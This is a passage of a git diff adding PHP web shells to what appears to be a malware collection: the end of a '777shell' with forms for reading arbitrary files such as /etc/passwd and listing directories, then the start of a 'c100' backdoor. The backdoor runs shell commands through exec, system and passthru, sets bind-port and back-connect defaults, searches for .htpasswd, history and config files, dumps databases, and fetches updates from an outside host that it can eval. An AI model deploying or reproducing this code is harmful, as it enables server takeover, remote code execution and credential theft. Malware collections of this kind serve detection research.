+<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> + +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ 777shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> 777 | <font color="#FF0000">Don</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> + +</body></html><?php chdir($lastdir); N3tshexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c100.txt b/web-malware-collection-master/Backdoors/PHP/c100.txt new file mode 100755 index 0000000..6f47e3e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c100.txt @@ -0,0 +1,3147 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "KingDefacer was here"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("KingDefacer_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("KingDefacer_surl",$surl);} +else {$surl = $_REQUEST["KingDefacer_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["KingDefacer_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = " kira v. ".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$KingDefacer_updateurl = "http://alturks.com/kira//update/"; //Update server +$KingDefacer_sourcesurl = "http://alturks.com/kira/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>Owned by KingDefacer</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "jo1n@live.com"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "KingDefacer"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "KingDefacervars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["KingDefacercook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">kira</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); KingDefacer_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("KingDefacer_buff_prepare")) +{ +function KingDefacer_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +KingDefacer_buff_prepare(); +if (!function_exists("KingDefacer_sess_put")) +{ +function KingDefacer_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + KingDefacer_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("KingDefacergetsource")) +{ +function KingDefacergetsource($fn) +{ + global $KingDefacer_sourcesurl; + $array = array( + "KingDefacer_bindport.pl" => "KingDefacer_bindport_pl.txt", + "KingDefacer_bindport.c" => "KingDefacer_bindport_c.txt", + "KingDefacer_backconn.pl" => "KingDefacer_backconn_pl.txt", + "KingDefacer_backconn.c" => "KingDefacer_backconn_c.txt", + "KingDefacer_datapipe.pl" => "KingDefacer_datapipe_pl.txt", + "KingDefacer_datapipe.c" => "KingDefacer_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($KingDefacer_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("KingDefacer_getupdate")) +{ +function KingDefacer_getupdate($update = TRUE) +{ + $url = $GLOBALS["KingDefacer_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by kira.SQL v. ".$shver." +# Home page: http://google.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> 